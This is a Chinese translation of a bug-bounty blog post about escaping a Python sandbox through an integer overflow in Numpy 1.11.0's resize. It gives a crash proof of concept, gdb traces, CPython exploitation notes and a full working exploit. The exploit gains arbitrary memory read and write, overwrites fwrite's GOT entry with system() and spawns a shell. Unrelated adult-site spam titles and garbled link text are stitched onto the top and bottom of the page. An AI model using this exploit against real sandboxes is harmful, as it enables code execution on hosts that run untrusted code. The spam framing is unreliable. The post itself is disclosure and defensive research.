精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

利用內(nèi)存破壞實現(xiàn)Python沙盒逃逸

開發(fā) 后端
幾周之前心癢難耐的我參與了一段時間的漏洞賞金計劃。業(yè)余這個漏洞賞金游戲最艱巨的任務(wù)就是挑選一個能夠獲得最高回報的程序。不久我就找到一個存在于Python沙盒中執(zhí)行的用戶提交代碼的Web應(yīng)用程序的bug,這看起來很有趣,所以我決定繼續(xù)研究它。

幾周之前心癢難耐的我參與了一段時間的漏洞賞金計劃。業(yè)余這個漏洞賞金游戲最艱巨的任務(wù)就是挑選一個能夠獲得最高回報的程序。不久我就找到一個存在于Python沙盒中執(zhí)行的用戶提交代碼的Web應(yīng)用程序的bug,這看起來很有趣,所以我決定繼續(xù)研究它。

[[207283]]

進(jìn)過一段時間的敲打之后,我發(fā)現(xiàn)了在Python層實現(xiàn)沙盒逃逸的方法。報告歸檔了,漏洞幾天內(nèi)及時被修復(fù),得到了一筆不錯的賞金。完美!這是一個我的漏洞賞金征程的完美開端。但這篇博文不是關(guān)于這篇報告的。總之,從技術(shù)的角度來說我發(fā)現(xiàn)這個漏洞的過程并不有趣。事實證明回歸總可能發(fā)生問題。

起初并不確信Python沙盒的安全性會做的如此簡單。沒有太多細(xì)節(jié),沙盒使用的是操作系統(tǒng)級別隔離與鎖定Python解釋器的組合。Python環(huán)境使用的是自定義的白名單/黑名單的方式來阻止對內(nèi)置模塊,函數(shù)的訪問。基于操作系統(tǒng)的隔離提供了一些額外的保護(hù),但是它相較于今天的標(biāo)準(zhǔn)來說已經(jīng)過時了。從Python解釋器的逃離并不是一個完全的勝利,但是它能夠使攻擊者危險地接近于黑掉整個系統(tǒng)。

因此我回到了應(yīng)用程序進(jìn)行了測試。沒有運氣,這確實是一個困難的挑戰(zhàn)。但突然我有了一個想法——Python模塊通常只是大量C代碼的封裝。這里肯定會有未被發(fā)現(xiàn)的內(nèi)存破壞漏洞。領(lǐng)用內(nèi)存破壞我就能夠突破Python環(huán)境的限制。

從哪里開始呢?我知道沙盒內(nèi)部導(dǎo)入模塊的白名單。或許我該先運行一個分布式的AFL fuzzer?還是一個符號執(zhí)行引擎?抑或使用先進(jìn)的靜態(tài)分析工具來掃描他們。當(dāng)然,我可以做其中任何事情,可能我只需要查詢一些bug跟蹤器。

Python

結(jié)果表明在狩獵之初我并沒有這個先見之明,但問題不大。直覺引導(dǎo)我通過手動代碼審計和測試發(fā)現(xiàn)一個沙盒白名單模塊中的一個可利用的內(nèi)存破壞漏洞。這個漏洞存在于Numpy中,一個基本的科學(xué)計算庫——是許多流行包的核心包括scipy和pandas。要想了解Numpy作為漏洞根源的一大潛力,我們先來查看一下代碼的行數(shù)。

在這篇文章的其余部分,首先我將描述導(dǎo)致這個漏洞的觸發(fā)條件。接下來,我將討論一些漏洞利用開發(fā)人員應(yīng)該了解的CPython運行時的奇事,然后我將逐步進(jìn)入實際的利用。最后,我總結(jié)了一些Python應(yīng)用程序中量化內(nèi)存損壞問題的想法。

漏洞

我將要討論漏洞是Numpy v1.11.0(或許是更舊版本)中的整數(shù)溢出錯誤。自v1.12.0以來,該問題已經(jīng)解決,但沒有發(fā)布安全公告。

該漏洞駐留在用于調(diào)整Numpy的多維數(shù)組類對象(ndarray和friends)的API中。定義數(shù)組形狀的元組調(diào)用了resize,其中元組的每個元素都是維度的大小。

  1. $ python 
  2.  
  3. >>> import numpy as np 
  4.  
  5. >>> arr = np.ndarray((2, 2), ‘int32’) 
  6.  
  7. >>> arr.resize((2, 3)) 
  8.  
  9. >>> arr 
  10.  
  11. array([[-895628408, 32603, -895628408], 
  12.  
  13. [ 32603, 0, 0]], dtype=int32

是的這個元組會泄漏未初始化的內(nèi)存,但在這篇博文中我們不會討論這個問題

如上所言,resize實質(zhì)上會realloc 一個buffer,其大小是元組形狀和元素大小的乘積。因此在前面的代碼片段中,arr.resize((2,3))等價于 realloc(buffer,2*3*sizeof(int32)). 下一個代碼片段是C中resize的重寫實現(xiàn)。

  1. NPY_NO_EXPORT PyObject * 
  2.  
  3. PyArray_Resize(PyArrayObject *self, PyArray_Dims *newshape, int refcheck, 
  4.  
  5. NPY_ORDER order) 
  6.  
  7.  
  8. // npy_intp is `long long` 
  9.  
  10. npy_intp* new_dimensions = newshape->ptr; 
  11.  
  12. npy_intp newsize = 1
  13.  
  14. int new_nd = newshape->len; 
  15.  
  16. int k; 
  17.  
  18. // NPY_MAX_INTP is MAX_LONGLONG (0x7fffffffffffffff) 
  19.  
  20. npy_intp largest = NPY_MAX_INTP / PyArray_DESCR(self)->elsize; 
  21.  
  22. for(k = 0; k < new_nd; k++) { 
  23.  
  24. newsize *= new_dimensions[k]; 
  25.  
  26. if (newsize <= 0 || newsize > largest) { 
  27.  
  28. return PyErr_NoMemory(); 
  29.  
  30.  
  31.  
  32. if (newsize == 0) { 
  33.  
  34. sd = PyArray_DESCR(self)->elsize; 
  35.  
  36.  
  37. else { 
  38.  
  39. sd = newsize*PyArray_DESCR(self)->elsize; 
  40.  
  41.  
  42. /* Reallocate space if needed */ 
  43.  
  44. new_data = realloc(PyArray_DATA(self), sd); 
  45.  
  46. if (new_data == NULL) { 
  47.  
  48. PyErr_SetString(PyExc_MemoryError, 
  49.  
  50. “cannot allocate memory for array”); 
  51.  
  52. return NULL; 
  53.  
  54.  
  55. ((PyArrayObject_fields *)self)->data = new_data

發(fā)現(xiàn)漏洞了嗎? 可以在for循環(huán)(第13行)中看到,每個維度相乘以產(chǎn)生新的大小。稍后(第25行),將新大小和元素大小的乘積作為數(shù)組大小傳遞給realloc。在realloc之前有一些關(guān)于大小的驗證,但是它不檢查整數(shù)溢出,這意味著非常大的維度可能導(dǎo)致分配大小不足的數(shù)組。 最終,這給攻擊者一個可利用的exploit類型:通過從具有溢出數(shù)組的大小索引來獲得讀寫任意內(nèi)存的能力。

讓我們來快速開發(fā)一個poc來驗證bug的存在

  1. $ cat poc.py 
  2.  
  3. import numpy as np 
  4.  
  5. arr = np.array('A'*0x100) 
  6.  
  7. arr.resize(0x1000, 0x100000000000001) 
  8.  
  9. print "bytes allocated for entire array:    " + hex(arr.nbytes) 
  10.  
  11. print "max # of elemenets for inner array:  " + hex(arr[0].size) 
  12.  
  13. print "size of each element in inner array: " + hex(arr[0].itemsize) 
  14.  
  15. arr[0][10000000000] 
  16.  
  17. $ python poc.py 
  18.  
  19. bytes allocated for entire array:    0x100000 
  20.  
  21. max # of elemenets for inner array:  0x100000000000001 
  22.  
  23. size of each element in inner array: 0x100 
  24.  
  25. [1]    2517 segmentation fault (core dumped)  python poc.py 
  26.  
  27. $ gdb `which python` core 
  28.  
  29. ... 
  30.  
  31. Program terminated with signal SIGSEGV, Segmentation fault. 
  32.  
  33. (gdb) bt 
  34.  
  35. #0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010descr=0x7f20a2fb5870
  36.  
  37. base=<numpy.ndarray at remote 0x7f20a7870a80>) at numpy/core/src/multiarray/scalarapi.c:651 
  38.  
  39. #1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80op=<optimized out>
  40.  
  41. at numpy/core/src/multiarray/mapping.c:1619 
  42.  
  43. #2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539… 
  44.  
  45. (gdb) x/i $pc 
  46.  
  47. => 0x7f20a5b044f0 <PyArray_Scalar+480>: cmpb $0x0,(%rcx) 
  48.  
  49. (gdb) x/g $rcx 
  50.  
  51. 0x8174ae95f10f: Cannot access memory at address 0x8174ae95f10f 

Cpython 運行時的一些奇怪之處

在開發(fā)exp之前,我想討論一些CPython運行時的特征來簡化exp的開發(fā),同時討論一些阻擾exp開發(fā)的方法。 如果您想直接進(jìn)入漏洞利用,請直接跳過本節(jié)。

內(nèi)存泄露

通常,首要障礙之一就是要挫敗地址空間布局隨機(jī)化(ASLR)。 幸運的是,對于攻擊者來說,Python使這變得很容易。 內(nèi)置id函數(shù)返回對象的內(nèi)存地址,或者更準(zhǔn)確地說,封裝對象的PyObject結(jié)構(gòu)的地址。

  1. $ gdb -q — arg /usr/bin/python2.7 
  2.  
  3. (gdb) run -i 
  4.  
  5. … 
  6.  
  7. >>> a = ‘A’*0x100 
  8.  
  9. >>> b = ‘B’*0x100000 
  10.  
  11. >>> import numpy as np 
  12.  
  13. >>> c = np.ndarray((10, 10)) 
  14.  
  15. >>> hex(id(a)) 
  16.  
  17. ‘0x7ffff7f65848’ 
  18.  
  19. >>> hex(id(b)) 
  20.  
  21. ‘0xa52cd0’ 
  22.  
  23. >>> hex(id(c)) 
  24.  
  25. ‘0x7ffff7e777b0’ 

在現(xiàn)實世界的應(yīng)用程序中,開發(fā)人員應(yīng)確保不向用戶暴露id(object)。 在沙盒的環(huán)境中,你不可能對此行為做太多的擦奧做,除了可能將id添加進(jìn)黑名單或重新實現(xiàn)id來返回哈希。

理解內(nèi)存分配行為

了解分配器對于編寫exp至關(guān)重要。Python對不同的對象類型和大小實行不同的分配策略。我們來看看我們的大字符串0xa52cd0,小字符串0x7ffff7f65848和numpy數(shù)組0x7ffff7e777b0的位置。

  1. $ cat /proc/`pgrep python`/maps 
  2.  
  3. 00400000–006ea000 r-xp 00000000 08:01 2712 /usr/bin/python2.7 
  4.  
  5. 008e9000–008eb000 r — p 002e9000 08:01 2712 /usr/bin/python2.7 
  6.  
  7. 008eb000–00962000 rw-p 002eb000 08:01 2712 /usr/bin/python2.7 
  8.  
  9. 00962000–00fa8000 rw-p 00000000 00:00 0 [heap]  # big string 
  10.  
  11. ... 
  12.  
  13. 7ffff7e1d000–7ffff7edd000 rw-p 00000000 00:00 0 # numpy array 
  14.  
  15. ... 
  16.  
  17. 7ffff7f0e000–7ffff7fd3000 rw-p 00000000 00:00 0 # small string 

Python 對象結(jié)構(gòu)

溢出和破壞Python對象的元數(shù)據(jù)是一個很強(qiáng)大的能力,因此理解Python對象如何是表示的很有用。Python對象都派生自PyObject,這是一個包含引用計數(shù)和對象實際類型描述符的結(jié)構(gòu)。 值得注意的是,類型描述符包含許多字段,包括可能對讀取或覆蓋有用的函數(shù)指針。

先檢查一下我們在前面創(chuàng)建的小字符串。

  1. (gdb) print *(PyObject *)0x7ffff7f65848 
  2.  
  3. $2 = {ob_refcnt = 1ob_type = 0x9070a0 <PyString_Type>
  4.  
  5. (gdb) print *(PyStringObject *)0x7ffff7f65848 
  6.  
  7. $3 = {ob_refcnt = 1ob_type = 0x9070a0 <PyString_Type>ob_size = 256ob_shash = -1, ob_sstate = 0ob_sval = “A”} 
  8.  
  9. (gdb) x/s ((PyStringObject *)0x7ffff7f65848)->ob_sval 
  10.  
  11. 0x7ffff7f6586c: ‘A’ <repeats 200 times>... 
  12.  
  13. (gdb) ptype PyString_Type 
  14.  
  15. type = struct _typeobject { 
  16.  
  17. Py_ssize_t ob_refcnt; 
  18.  
  19. struct _typeobject *ob_type; 
  20.  
  21. Py_ssize_t ob_size; 
  22.  
  23. const char *tp_name; 
  24.  
  25. Py_ssize_t tp_basicsize; 
  26.  
  27. Py_ssize_t tp_itemsize; 
  28.  
  29. destructor tp_dealloc; 
  30.  
  31. printfunc tp_print; 
  32.  
  33. getattrfunc tp_getattr; 
  34.  
  35. setattrfunc tp_setattr; 
  36.  
  37. cmpfunc tp_compare; 
  38.  
  39. reprfunc tp_repr; 
  40.  
  41. PyNumberMethods *tp_as_number; 
  42.  
  43. PySequenceMethods *tp_as_sequence; 
  44.  
  45. PyMappingMethods *tp_as_mapping; 
  46.  
  47. hashfunc tp_hash; 
  48.  
  49. ternaryfunc tp_call; 
  50.  
  51. reprfunc tp_str; 
  52.  
  53. getattrofunc tp_getattro; 
  54.  
  55. setattrofunc tp_setattro; 
  56.  
  57. PyBufferProcs *tp_as_buffer; 
  58.  
  59. long tp_flags; 
  60.  
  61. const char *tp_doc; 
  62.  
  63. traverseproc tp_traverse; 
  64.  
  65. inquiry tp_clear; 
  66.  
  67. richcmpfunc tp_richcompare; 
  68.  
  69. Py_ssize_t tp_weaklistoffset; 
  70.  
  71. getiterfunc tp_iter; 
  72.  
  73. iternextfunc tp_iternext; 
  74.  
  75. struct PyMethodDef *tp_methods; 
  76.  
  77. struct PyMemberDef *tp_members; 
  78.  
  79. struct PyGetSetDef *tp_getset; 
  80.  
  81. struct _typeobject *tp_base; 
  82.  
  83. PyObject *tp_dict; 
  84.  
  85. descrgetfunc tp_descr_get; 
  86.  
  87. descrsetfunc tp_descr_set; 
  88.  
  89. Py_ssize_t tp_dictoffset; 
  90.  
  91. initproc tp_init; 
  92.  
  93. allocfunc tp_alloc; 
  94.  
  95. newfunc tp_new; 
  96.  
  97. freefunc tp_free; 
  98.  
  99. inquiry tp_is_gc; 
  100.  
  101. PyObject *tp_bases; 
  102.  
  103. PyObject *tp_mro; 
  104.  
  105. PyObject *tp_cache; 
  106.  
  107. PyObject *tp_subclasses; 
  108.  
  109. PyObject *tp_weaklist; 
  110.  
  111. destructor tp_del; 
  112.  
  113. unsigned int tp_version_tag; 
  114.  

有許多有用的字段可用于讀取或?qū)懭腩愋椭羔槪瘮?shù)指針,數(shù)據(jù)指針,大小等。

Shellcode like it’s 1999

ctypes庫作為Python和C代碼之間的橋梁。它提供與C兼容的數(shù)據(jù)類型,并允許在DLL或共享庫中調(diào)用函數(shù)。許多具有C綁定或需要調(diào)用共享庫的模塊需要導(dǎo)入ctypes。

我注意到,導(dǎo)入ctypes會導(dǎo)致以讀/寫/執(zhí)行權(quán)限設(shè)置的4K大小的內(nèi)存區(qū)域。 如果還不明顯,這意味著攻擊者甚至不需要編寫一個ROP鏈。假定你已經(jīng)找到了RWX區(qū)域。利用一個bug就像把指針指向你的shellcode一樣簡單。

自己測試一下!

  1. $ cat foo.py 
  2.  
  3. import ctypes 
  4.  
  5. while True: 
  6.  
  7. pass 
  8.  
  9. $ python foo.py 
  10.  
  11. ^Z 
  12.  
  13. [2] + 30567 suspended python foo.py 
  14.  
  15. $ grep rwx /proc/30567/maps 
  16.  
  17. 7fcb806d5000–7fcb806d6000 rwxp 00000000 00:00 0 

進(jìn)一步調(diào)查發(fā)現(xiàn)libffi的封閉API負(fù)責(zé)mmap RWX區(qū)域。 但是,該區(qū)域不能在某些平臺上分配RWX,例如啟用了selinux或PAX mprotect的系統(tǒng),但有一些代碼可以解決這個限制。

我沒有花太多時間嘗試可靠地RWX mapping,但是從理論上講,如果你有一個任意讀取的exploit原函數(shù),應(yīng)該是可能的。 當(dāng)ASLR應(yīng)用于庫時,動態(tài)鏈接器以可預(yù)測的順序映射庫的內(nèi)存。庫的內(nèi)存包括庫私有的全局變量和代碼本身。 Libffi將對RWX內(nèi)存的引用存儲為全局。例如,如果在堆上找到指向libffi函數(shù)的指針,則可以將RWX區(qū)域指針的地址預(yù)先計算為與libffi函數(shù)指針的地址的偏移量。每個庫版本都需要調(diào)整偏移量。

The Exploit

我在Ubuntu 14.04.5和16.04.1上測試了Python2.7二進(jìn)制文件的安全相關(guān)編譯器標(biāo)志。 發(fā)現(xiàn)幾個弱點,這對攻擊者來說是非常有用的:

部分RELRO:可執(zhí)行文件的GOT seciotn,包含動態(tài)鏈接到二進(jìn)制文件的庫函數(shù)的指針,是可寫的。 例如,exploits可以用system()替換printf()的地址。

沒有PIE:二進(jìn)制不是位置無關(guān)的可執(zhí)行文件,這意味著當(dāng)內(nèi)核將ASLR應(yīng)用于大多數(shù)內(nèi)存映射時,二進(jìn)制本身的內(nèi)容被映射到靜態(tài)地址。 由于GOT seciotn是二進(jìn)制文件的一部分,因此PIE使攻擊者更容易找到并寫入GOT。

雖然CPython是一個充滿了漏洞開發(fā)工具的環(huán)境,但是有一些力量破壞了我的許多漏洞利用嘗試,并且難以調(diào)試。

垃圾收集器,類型系統(tǒng)以及可能的其他未知的力將破壞您的漏洞利用,如果您不小心克隆對象元數(shù)據(jù)。

id()可能不可靠。由于一些原因我無法確定,Python有時會在使用原始對象時傳遞對象的副本。

分配對象的區(qū)域有些不可預(yù)測。由于一些原因我無法確定,特定的編碼模式導(dǎo)致緩沖區(qū)被分配到brk堆中,而其他模式會在一個python指定的mmap’d堆中分配。

在發(fā)現(xiàn)numpy整數(shù)溢出后不久,我向提交了一個劫持指令指針的概念證明的報告,雖然沒有注入任何代碼。 當(dāng)我最初提交時,我沒有意識到PoC實際上是不可靠的,并且我無法對其服務(wù)器進(jìn)行正確的測試,因為驗證劫持指令指針需要訪問core dump或debugger。 供應(yīng)商承認(rèn)這個問題的合法性,但是比起我的第一份報告,他們的給的回報比較少。

還算不賴

我不是一個漏洞利用開發(fā)者,但挑戰(zhàn)自己是我做得更好。 經(jīng)過多次試錯,我最終寫了一個似乎是可靠exp。 不幸的是,我無法在供應(yīng)商的沙盒中測試它,因為在完成之前更新了numpy,但是在Python解釋器中本地測試時它的工作正常。

在高層次來說上,漏洞利用溢出numpy數(shù)組的大小來獲得任意的讀/寫能力。 原函數(shù)用于將系統(tǒng)的地址寫入fwrite的GOT / PLT條目。 最后,Python內(nèi)置的print調(diào)用fwrite覆蓋,所以現(xiàn)在你可以調(diào)用print ‘/bin/sh’來獲取一個shell,或者用任何命令替換/ bin / sh。

我建議從自下而上開始閱讀,包括評論。 如果您使用的是不同版本的Python,請在運行該文件之前調(diào)整fwrite和system的GOT位置。

  1. import numpy as np 
  2.  
  3.  
  4.  
  5. # addr_to_str is a quick and dirty replacement for struct.pack(), needed 
  6.  
  7. # for sandbox environments that block the struct module. 
  8.  
  9. def addr_to_str(addr): 
  10.  
  11. addr_str = "%016x" % (addr) 
  12.  
  13. ret = str() 
  14.  
  15. for i in range(16, 0, -2): 
  16.  
  17. retret = ret + addr_str[i-2:i].decode('hex') 
  18.  
  19. return ret 
  20.  
  21.  
  22.  
  23. # read_address and write_address use overflown numpy arrays to search for 
  24.  
  25. # bytearray objects we've sprayed on the heap, represented as a PyByteArray 
  26.  
  27. # structure: 
  28.  
  29.  
  30. # struct PyByteArray { 
  31.  
  32. #     Py_ssize_t ob_refcnt; 
  33.  
  34. #     struct _typeobject *ob_type; 
  35.  
  36. #     Py_ssize_t ob_size; 
  37.  
  38. #     int ob_exports; 
  39.  
  40. #     Py_ssize_t ob_alloc; 
  41.  
  42. #     char *ob_bytes; 
  43.  
  44. # }; 
  45.  
  46.  
  47. # Once located, the pointer to actual data `ob_bytes` is overwritten with the 
  48.  
  49. # address that we want to read or write. We then cycle through the list of byte 
  50.  
  51. # arrays until we find the  one that has been corrupted. This bytearray is used 
  52.  
  53. # to read or write the desired location. Finally, we clean up by setting 
  54.  
  55. # `ob_bytes` back to its original value. 
  56.  
  57. def find_address(addr, data=None): 
  58.  
  59. i = 0 
  60.  
  61. j = -1 
  62.  
  63. k = 0 
  64.  
  65.  
  66.  
  67. if data: 
  68.  
  69. size = 0x102 
  70.  
  71. else: 
  72.  
  73. size = 0x103 
  74.  
  75. for k, arr in enumerate(arrays): 
  76.  
  77. i = 0 
  78.  
  79. for i in range(0x2000): # 0x2000 is a value that happens to work 
  80.  
  81. # Here we search for the signature of a PyByteArray structure 
  82.  
  83. j = arr[0][i].find(addr_to_str(0x1))                  # ob_refcnt 
  84.  
  85. if (j < 0 or 
  86.  
  87. arr[0][i][j+0x10:j+0x18] != addr_to_str(size) or  # ob_size 
  88.  
  89. arr[0][i][j+0x20:j+0x28] != addr_to_str(size+1)): # ob_alloc 
  90.  
  91. continue 
  92.  
  93. idx_bytes = j+0x28                                    # ob_bytes 
  94.  
  95.  
  96.  
  97. # Save an unclobbered copy of the bytearray metadata 
  98.  
  99. saved_metadata = arrays[k][0][i] 
  100.  
  101.  
  102.  
  103. # Overwrite the ob_bytes pointer with the provded address 
  104.  
  105. addr_string = addr_to_str(addr) 
  106.  
  107. new_metadata = (saved_metadata[0:idx_bytes] + 
  108.  
  109. addr_string + 
  110.  
  111. saved_metadata[idx_bytes+8:]) 
  112.  
  113. arrays[k][0][i] = new_metadata 
  114.  
  115.  
  116.  
  117. ret = None 
  118.  
  119. for bytearray_ in bytearrays: 
  120.  
  121. try: 
  122.  
  123. # We differentiate the signature by size for each 
  124.  
  125. # find_address invocation because we don't want to 
  126.  
  127. # accidentally clobber the wrong  bytearray structure. 
  128.  
  129. # We know we've hit the structure we're looking for if 
  130.  
  131. # the size matches and it contents do not equal 'XXXXXXXX' 
  132.  
  133. if len(bytearray_) == size and bytearray_[0:8] != 'XXXXXXXX': 
  134.  
  135. if data: 
  136.  
  137. bytearray_[0:8] = data # write memory 
  138.  
  139. else: 
  140.  
  141. ret = bytearray_[0:8] # read memory 
  142.  
  143.  
  144.  
  145. # restore the original PyByteArray->ob_bytes 
  146.  
  147. arrays[k][0][i] = saved_metadata 
  148.  
  149. return ret 
  150.  
  151. except: 
  152.  
  153. pass 
  154.  
  155. raise Exception("Failed to find address %x" % addr) 
  156.  
  157.  
  158.  
  159. def read_address(addr): 
  160.  
  161. return find_address(addr) 
  162.  
  163.  
  164.  
  165. def write_address(addr, data): 
  166.  
  167. find_address(addr, data) 
  168.  
  169.  
  170.  
  171.  
  172.  
  173. # The address of GOT/PLT entries for system() and fwrite() are hardcoded. These 
  174.  
  175. # addresses are static for a given Python binary when compiled without -fPIE. 
  176.  
  177. # You can obtain them yourself with the following command: 
  178.  
  179. # `readelf -a /path/to/python/ | grep -E '(system|fwrite)' 
  180.  
  181. SYSTEM = 0x8eb278 
  182.  
  183. FWRITE = 0x8eb810 
  184.  
  185.  
  186.  
  187. # Spray the heap with some bytearrays and overflown numpy arrays. 
  188.  
  189. arrays = [] 
  190.  
  191. bytearrays = [] 
  192.  
  193. for i in range(100): 
  194.  
  195. arrays.append(np.array('A'*0x100)) 
  196.  
  197. arrays[-1].resize(0x1000, 0x100000000000001) 
  198.  
  199. bytearrays.append(bytearray('X'*0x102)) 
  200.  
  201. bytearrays.append(bytearray('X'*0x103)) 
  202.  
  203.  
  204.  
  205. # Read the address of system() and write it to fwrite()'s PLT entry. 
  206.  
  207. data = read_address(SYSTEM) 
  208.  
  209. write_address(FWRITE, data) 
  210.  
  211.  
  212.  
  213. # print() will now call system() with whatever string you pass 
  214.  
  215. print "PS1='[HACKED] $ ' /bin/sh" 

運行此exp會返回給你一個shell

  1. $ virtualenv .venv 
  2.  
  3. Running virtualenv with interpreter /usr/bin/python2 
  4.  
  5. New python executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python2 
  6.  
  7. Also creating executable in /home/gabe/Downloads/numpy-exploit/.venv/bin/python 
  8.  
  9. Installing setuptools, pkg_resources, pip, wheel...done. 
  10.  
  11. $ source .venv/bin/activate 
  12.  
  13. (.venv) $ pip install numpy==1.11.0 
  14.  
  15. Collecting numpy==1.11.0 
  16.  
  17. Using cached numpy-1.11.0-cp27-cp27mu-manylinux1_x86_64.whl 
  18.  
  19. Installing collected packages: numpy 
  20.  
  21. Successfully installed numpy-1.11.0 
  22.  
  23. (.venv) $ python --version 
  24.  
  25. Python 2.7.12 
  26.  
  27. (.venv) $ python numpy_exploit.py 
  28.  
  29. [HACKED] $ 

如果您不運行Python 2.7.12,請參閱漏洞利用中的注釋,了解如何使其適用于您的Python版本。

量化風(fēng)險

眾所周知,Python的核心和許多第三方模塊都是C代碼的封裝。也許不被認(rèn)識到,內(nèi)存破壞在流行的Python模塊中一直沒有像CVE,安全公告,甚至在發(fā)行說明中提到安全修補(bǔ)程序一樣被報告。

是的,Python模塊中有很多內(nèi)存損壞的bug。 當(dāng)然不是所有的都是可以利用的,但你必須從某個地方開始。為了解釋內(nèi)存破壞造成的風(fēng)險,我發(fā)現(xiàn)使用兩個獨立的用例來描述對話很有用:常規(guī)Python應(yīng)用程序和沙盒不受信任的代碼。

正則表達(dá)式

我們關(guān)心的應(yīng)用程序類型是具有有意義的攻擊面的那些。考慮Web應(yīng)用程序和其他面向網(wǎng)絡(luò)的服務(wù),處理不受信任的內(nèi)容,系統(tǒng)特權(quán)服務(wù)等的客戶端應(yīng)用程序。許多這些應(yīng)用程序?qū)胗沙啥袰代碼便宜而來的Python模塊,且將其內(nèi)存破壞視為安全問題。這個純粹的想法可能會使一些安全專業(yè)人員夙夜難寐,但實際上風(fēng)險通常被忽視或忽視。我懷疑有幾個原因:

  • 遠(yuǎn)程識別和利用內(nèi)存破壞問題的難度相當(dāng)高,特別是對于閉源和遠(yuǎn)程應(yīng)用程序。
  • 應(yīng)用程序暴露不可信輸入路徑以達(dá)到易受攻擊的功能的可能性可能相當(dāng)?shù)汀?/li>
  • 意識不足,因為Python模塊中的內(nèi)存損壞錯誤通常不會被視為安全問題。

公平地說,由于某些隨機(jī)Python模塊中的緩沖區(qū)溢出而導(dǎo)致入侵的可能性可能相當(dāng)?shù)汀5牵俅温暶鳎瑑?nèi)存破壞的缺陷在發(fā)生時可能是非常有害的。有時它甚至不會讓任何人明確地利用他們來造成破壞。更糟糕的是,當(dāng)庫維護(hù)者在安全性方面不考慮內(nèi)存破壞問題時,給庫打上安全補(bǔ)丁是不可能的。

如果您開發(fā)了一個主要的Python應(yīng)用程序,建議您至少使用流行的Python模塊。嘗試找出您的模塊依賴的C代碼數(shù)量,并分析本地代碼暴露于應(yīng)用程序邊緣的潛力。

沙盒

一些服務(wù)允許用戶在沙箱內(nèi)運行不受信任的Python代碼。 操作系統(tǒng)級的沙盒功能,如linux命名空間和seccomp,最近才以Docker,LXC等形式流行起來。不行的是,今日仍然可以發(fā)現(xiàn)用戶使用較弱的沙盒技術(shù) – 在chroot形式的OS層更糟糕的是,沙盒可以完全在Python中完成(請參閱pypy-sandbox和pysandbox)。

內(nèi)存破壞完全打破了OS不執(zhí)行沙盒這一原則。 執(zhí)行Python代碼子集的能力使得開發(fā)遠(yuǎn)exp比常規(guī)應(yīng)用程序更加方便。即使是由于其虛擬化系統(tǒng)調(diào)用的雙進(jìn)程模型而聲稱安全的Pypy-sandbox也可能被緩沖區(qū)溢出所破壞。

如果您想運行任何不受信任的代碼,請投入精力建立一個安全的操作系統(tǒng)和網(wǎng)絡(luò)架構(gòu)來沙盒執(zhí)行它。

責(zé)任編輯:趙寧寧 來源: 36大數(shù)據(jù)
相關(guān)推薦

2015-08-24 13:46:17

2013-05-02 14:48:52

iOS開發(fā)沙盒SandBox結(jié)構(gòu)

2022-02-17 16:32:58

Android隱私沙盒隱私保護(hù)標(biāo)準(zhǔn)

2015-08-07 14:39:23

2023-07-09 00:32:12

2017-03-17 09:31:40

2021-05-30 19:29:12

內(nèi)存Go語言

2011-06-30 15:42:49

卡巴斯基沙盒

2009-07-24 20:08:06

2022-07-25 15:38:59

Go 語言Go 語言編譯器內(nèi)存逃逸

2011-05-10 14:27:27

2024-01-16 07:46:11

2020-09-18 10:46:10

網(wǎng)絡(luò)攻擊

2020-09-18 10:56:00

惡意軟件沙盒網(wǎng)絡(luò)攻擊

2023-04-28 17:53:09

Kubernetes沙盒Signadot

2018-04-15 16:09:10

2018RSA創(chuàng)新沙盒數(shù)據(jù)泄露

2012-11-15 10:50:51

2015-11-25 16:12:13

2011-06-28 16:10:18

沙盒效應(yīng)網(wǎng)站排名

2011-06-20 18:31:10

沙盒效應(yīng)
點贊
收藏

51CTO技術(shù)棧公眾號

欧美日韩影视| 国产精品1234区| 996久久国产精品线观看| 亚洲婷婷综合色高清在线| 国产精品免费一区二区| 91在线视频在线观看| 色999日韩| 亚洲福利视频久久| 亚洲77777| 97在线超碰| 国产精品久久免费看| 国产精品美女诱惑| 一级做a爰片久久毛片16| 亚洲人成毛片在线播放女女| 综合欧美国产视频二区| 妖精视频一区二区| 四虎影视国产精品| 精品欧美一区二区三区| 中文字幕一区二区三区有限公司 | 26uuu成人网| 同性恋视频一区| 欧美一区二区不卡视频| 免费日韩视频在线观看| 欧美videossex另类| 国产精品午夜在线观看| 国产一区二区免费在线观看| 亚洲一卡二卡在线观看| 免费欧美在线| 国产综合在线看| 欧美视频www| 欧美一区二区麻豆红桃视频| 日韩成人在线免费观看| 亚洲热在线视频| h1515四虎成人| 欧美午夜精品久久久久久人妖| 日本中文字幕一级片| 黄色一级片在线观看| 欧美高清在线精品一区| 日本午夜精品一区二区| 天堂在线免费av| 成人在线综合网| 99在线国产| 999精品国产| 精彩视频一区二区三区| 国产精品久久久久久久久久久久久久| 国产在线观看黄色| 国产精品视区| 26uuu国产精品视频| 日韩精品在线不卡| 亚洲激情女人| 97久久伊人激情网| 国偷自拍第113页| 99精品国产在热久久下载| 国内精品400部情侣激情| 免费人成视频在线| 欧美激情四色| 欧美福利视频在线观看| 久久精品一区二区三| 欧美特黄视频| 午夜精品视频在线| 久久久午夜影院| 午夜在线精品| 国产精品第100页| 一区二区日韩视频| 国产一区免费电影| 国产精品久久波多野结衣| 国产小视频免费观看| 成人少妇影院yyyy| 久久国产精品-国产精品| 男女网站在线观看| 国产精品入口麻豆原神| 黄色影视在线观看| а_天堂中文在线| 日韩欧美主播在线| 成年网站在线播放| 亚洲精品黑牛一区二区三区| 亚洲电影天堂av| brazzers精品成人一区| 日韩在线观看一区| 欧美黄网免费在线观看| 男女视频免费看| 美国三级日本三级久久99| 91老司机在线| 午夜国产在线视频| 亚洲国产精品激情在线观看| 日韩不卡视频一区二区| 黄在线观看免费网站ktv| 欧美午夜宅男影院在线观看| 我看黄色一级片| 日韩激情精品| 亚洲欧洲日本专区| 青花影视在线观看免费高清| 91久久亚洲| 国产精品亚洲一区二区三区| 亚洲国产精品成人久久蜜臀| 久久蜜臀精品av| 只有这里有精品| 天堂av在线| 91精品国产黑色紧身裤美女| 亚洲熟女乱综合一区二区三区 | 成人激情午夜影院| 色姑娘综合av| 91jq激情在线观看| 